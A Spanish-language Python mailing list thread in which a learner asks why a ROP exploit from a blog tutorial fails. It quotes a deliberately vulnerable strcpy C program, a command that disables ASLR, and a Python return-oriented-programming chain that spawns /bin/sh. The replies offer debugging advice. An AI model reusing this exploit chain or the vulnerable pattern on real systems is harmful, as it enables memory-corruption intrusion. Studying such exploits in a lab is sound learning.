[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Francisco Falcon fdfalcon en gmail.com
Mar Ago 18 19:52:58 ART 2015


Hola,

La versión de Python de 64 bits no debería influir en este caso, lo más
probable es que el problema venga por otro lado.

Algunas preguntas para tratar de aislar el problema:
 * Qué significa exactamente que "el exploit no funciona"? El programa
vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
dónde crashea?
 * Compilaste el programa vulnerable con -fno-stack-protector?
 * Iba a preguntar si acomodaste las direcciones de los ROP gadgets para tu
binario en particular, pero parece que sí lo hiciste.
 * Te fijaste que, en tu binario en particular, el stack frame de la
función saluda() también tenga 262 bytes de distancia entre el array
nombre[] y la dirección de retorno guardada en el stack?

Saludos

2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:

> Gracias por contestar. De todos modos, el autor del blog donde estaban als
> instrucciones me aclaró que posiblemente en 64 bits existan otros tipo de
> problemas. Así que lo probaré más adelante en una maquina virtual
>
> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com> escribió:
>
>> En linux podés instalar un entorno de 32 bits (dentro de un OS de 64bits)
>>
>>
>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>
>> En este caso creo que deberías poder instalar el paquete de python de 32
>> bits y correr ese python.
>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>> skype)
>>
>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>> seguro que sale
>>
>> Saludos!
>> Joaquín
>>
>>
>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>
>>> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
>>> Resulta que estaba siguiendo las instrucciones de un blogger: (
>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>> )
>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
>>> ejecutando en una maquina de 32 bits):
>>>
>>> #include <stdio.h>
>>> #include <string.h>
>>>
>>> void saluda (char * texto){
>>>     char nombre[250];
>>>     strcpy(nombre, texto);
>>>     printf("hola %s\n", nombre);
>>> }
>>>
>>> int main (int argc, char **argv){
>>>     saluda(argv[1]);
>>>     return 0;
>>> }
>>>
>>> 2- modifiqué la configuracion de mi computadora:
>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>
>>> 3-hice el exploit en python:
>>>
>>> from struct import pack
>>>
>>>
>>> ex = 'A'*262
>>> ex += pack('I',0x080e1db9) #pop %eax
>>> ex += '/bin'
>>> ex += pack('I',0x0806e39a) #pop %edx
>>> ex += pack('I',0x080e99a0) #.data
>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>> ex += pack('I',0x080e1db9) #pop %eax
>>> ex += '/sh#'
>>> ex += pack('I',0x0806e39a) #pop %edx
>>> ex += pack('I',0x080e99a4) #.data+4
>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>> ex += pack('I',0x0806e39a) #pop %edx
>>> ex += pack('I',0x080e99a7) #.data+7
>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>> ex += pack('I',0x080e99a7) #.data+7
>>> ex += pack('I',0x080e99a0) #.data
>>> ex += pack('I',0x0806e39a) #pop %edx
>>> ex += pack('I',0x080e99a7) #.data+7
>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>> for i in range(int("0xb",16)):
>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>         ex += '####'
>>>
>>> ex += pack('I',0x806ea30) #int 0x80
>>>
>>> print ex
>>>
>>> resulta que no funciona y se me ocurre que puede ser porque estoy usando
>>> python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a python
>>> para que funcione en 32 bits?
>>> gracias.
>>>
>>>
>>>
>>> _______________________________________________
>>> pyar mailing list pyar en python.org.ar
>>> http://listas.python.org.ar/listinfo/pyar
>>>
>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>
>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>> Argentina - http://www.usla.org.ar
>>>
>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150818/51fa7a21/attachment.html>


More information about the pyar mailing list